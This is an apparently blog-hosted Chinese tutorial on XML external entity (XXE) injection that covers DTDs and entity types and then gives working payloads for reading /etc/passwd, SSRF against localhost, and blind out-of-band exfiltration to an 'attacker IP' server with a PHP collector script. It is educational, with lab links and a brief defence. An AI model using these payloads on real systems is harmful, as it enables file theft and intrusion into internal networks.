带xml头的字符串转实体_德慎思信息安全-OWASP 系列之XML注入

德慎思信息安全-OWASP 系列之XML注入

摘要

前面系列我们介绍了命令注入漏洞中的常见的 SQL 注入漏洞,下面开始本系列中的 XML 注入漏洞介绍。

XML injection

其实应该称为 XML external entity injection (缩写 XXE),XML 外部实体注入。

影响

通过恶意请求访问服务顺的敏感数据,还可以搭配 SSRF 攻击内网造成文件泄露。

漏洞原理

许多网站通过 XML 格式文件来进行数据传输,而后端使用的程序,在对 XML 文件解析处理时启用了部分危险的功能,可能就会造成 XXE 攻击。

漏洞相关概念

XML Extensible Markup Language

可扩展标记语言是一种标记语言,被设计用来结构化、存储和传输数据。标记指计算机拨通理解的信息符号,通过此种标记,计算机之间可以处理包含各种信息文章等。

XML 与 HTML 类似由元素标记、属性、值组成的(逻辑上)树结构的文本文件

一个合法的 XML 文件

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE note SYSTEM "Note.dtd">  
<note>
    <to>Tove</to>
    <from>Jani</from>
    <heading>Reminder</heading>
    <body>Don't forget me this weekend!</body>
</note>

DTD

在上面文件实例中,

  • DOCTYPE 声明行是“合法”的XML的一部分
  • DOCTYPE 声明行称为 Document Type Definition DTD,即文档类型定义
  • DTD 的目的是定义 XML 文档的结构。
  • DTD 可被成行的声明于 XML 文档中,也可作为一个外部引用
  • 上例中DOCTYPE 声明是对外部 DTD 文件的引用。下面是这个文件的内容
<!DOCTYPE note
[
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>

DTD 类型

对于上面一段讲的 DTD ,有两种类型

内部 DTD
	<!DOCTYPE 根元素 [元素声明]>

外部 DTD
	<!DOCTYPE 根元素 SYSTEM "存放元素声明的文件的URI,可以是本地文件或网络文件" [可选的元素声明]>
	<!DOCTYPE 根元素 PUBLIC "PUBLIC_ID DTD的名称" "外部DTD文件的URI">

Entity

XML 1.0 标准定义了 XML 文档结构,同时也定义了 Entity 实体的概念,即某种类型的存储单元。

实体是用于定义引用普通文件或者特殊字符的快捷方式的变量。

  • 实体引用是对实体的引用
  • 实体可在内部或者外部进行声明

我们可以在元素声明中自定义实体,和 DTD 类型类似也分为

  • 内部实体
  • 外部实体
  • 此外还有普通实体、参数实体、预定义实体
声明:
<!DOCTYPE 根元素 [<!ENTITY 内部普通实体名 "实体所代表的字符串">]>
<!DOCTYPE 根元素 [<!ENTITY 外部普通实体名 SYSTEM "外部实体的URI">]>
<!DOCTYPE 根元素 [<!ENTITY % 内部参数实体名 "实体所代表的字符串">]>
<!DOCTYPE 根元素 [<!ENTITY % 外部参数实体名 SYSTEM "外部实体的URI">]>
除了 SYSTEM关键字外,外部实体还可用 PUBLIC关键字声明。


引用:
//经实验,普通实体既可以在 DTD中,也可以在 XML中引用,可以在声明前引用,可以在在元素声明内部引用
&普通实体名; 

//经实验,参数实体只能在 DTD中引用,不能在声明前引用,不能在元素声明内部引用
%参数实体名; 

一个内部实体的例子

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE game [
	<!ELEMENT game (lol, dota, dnf)>
	<!ELEMENT lol (#PCDATA)> //#PCDATA Parsed Character Data代表的是可解析的字符数据,即字符串
	<!ELEMENT dota (#PCDATA)>
	<!ELEMENT dnf (#PCDATA)>

]>  
<game>
	<lol>a</lol>
	<dota>b</dota>
	<dnf>c</dota>
</game>

一个外部实体的例子

exmaple.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE game SYSTEM "LOL.dtd"> // 由 SYSTEM 定义外部实体
<game>
	<lol>a</lol>
	<dota>b</dota>
	<dnf>c</dota>
</game>

LOL.dtd

<?xml version="1.0" encoding="UTF-8"?>
<!ELEMENT game (lol, dota, dnf)>
<!ELEMENT lol (#PCDATA)>
<!ELEMENT dota (#PCDATA)>
<!ELEMENT dnf (#PCDATA)>

对于外部实体,有

  • SYSTEM
  • PUBLIC

两个关键字来定义,表示实体来自本地计算机还是公共计算机,外部实体的引用还可以利用如下协议

file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php

注意:不同语言的 XML 解析库,对外部实体的引用协议支持不同

漏洞利用

XXE 攻击类型

  • 敏感数据文件内容泄露
  • 搭配 SSRF 攻击
  • XXE 盲注
    • 之带外攻击(out-of-band)
    • 通过报错泄露数据

第一种:敏感数据文件内容泄露

攻击方式,通过外部实体定义引用 XML 文件外部的文件

<?xml version="1.0"?>
<!DOCTYPE a [ <!ENTITY b SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
    <productId>
        &b;             // 引用实体b, 值为 /etc/passwd 的内容
    </productId>
</stockCheck>

在线实验

https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files

第二种:搭配 SSRF 攻击

攻击方式,通过外部裸体定义引用服务器内网的网址实体

<?xml version="1.0"?>
<!DOCTYPE test [ <!ENTITY b SYSTEM "http://127.0.0.1:8088/"> ]>
<stockCheck>
    <productId>
        &b;
    </productId>
</stockCheck>

在线实验

https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-perform-ssrf

第三种:XXE 盲注

如果应用程序没有回显,即XXE 盲注;我们考虑利用带外攻击方式获取数据

XXE 盲注主要使用了 DTD 约束中的参数实体和内部实体

  • 参数实体:是一种只能在 DTD 中定义和使用的裸体,一般引用时使用%作为前缀
  • 内部实体:是指在一个实体中定义的另一个实体,也就是嵌套定义

有如下文件

攻击者服务器上有文件 test.php

<?php
  file_put_contents("test.txt", $_GET['file']);  
?>

攻击者服务器上有文件 test.xml (内部的%号要进行实体编码成&#x25)

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://攻击者ip/test.php?file=%file;'>">
%all;

目标机上有文件 testXML.php

<?php 
$xml=<<<EOF
<?xml version="1.0"?> 
<!DOCTYPE ANY[ 
<!ENTITY % file SYSTEM "file:///C:/Users/LiuSir/Desktop/test.txt">     // 读取受害者机上的test.txt
<!ENTITY % remote SYSTEM "http://攻击者ip/test.dtd"> 
%remote;
%send;
]> 
EOF;
$data = simplexml_load_string($xml) ; 
echo "<pre>" ; 
// print_r($data);
?>

// 注意两个EOF后面不能有空格

攻击的流程是,当访问目标的 http://example.com/testXML.php 时,目标机会读取 C:/Users/LiuSir/Desktop/test.txt 的内容,并发送到攻击者服务器上的 test.php 文件,然后 test.php 会读取数据并保存在本地的 test.txt 中,完成攻击。

攻击后获取的数据

c55f162dd33c13e52f0c0abbb1fbe871.png

漏洞防护

在程序的 XML 解析库中禁用外部实体的解析

参考

https://www.w3cschool.cn/xml/xml-dtd.html

https://www.w3.org/TR/2008/REC-xml-20081126/

https://whoamianony.top/2020/10/10/ctf/xxe-lou-dong-xue-xi-zong-jie/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值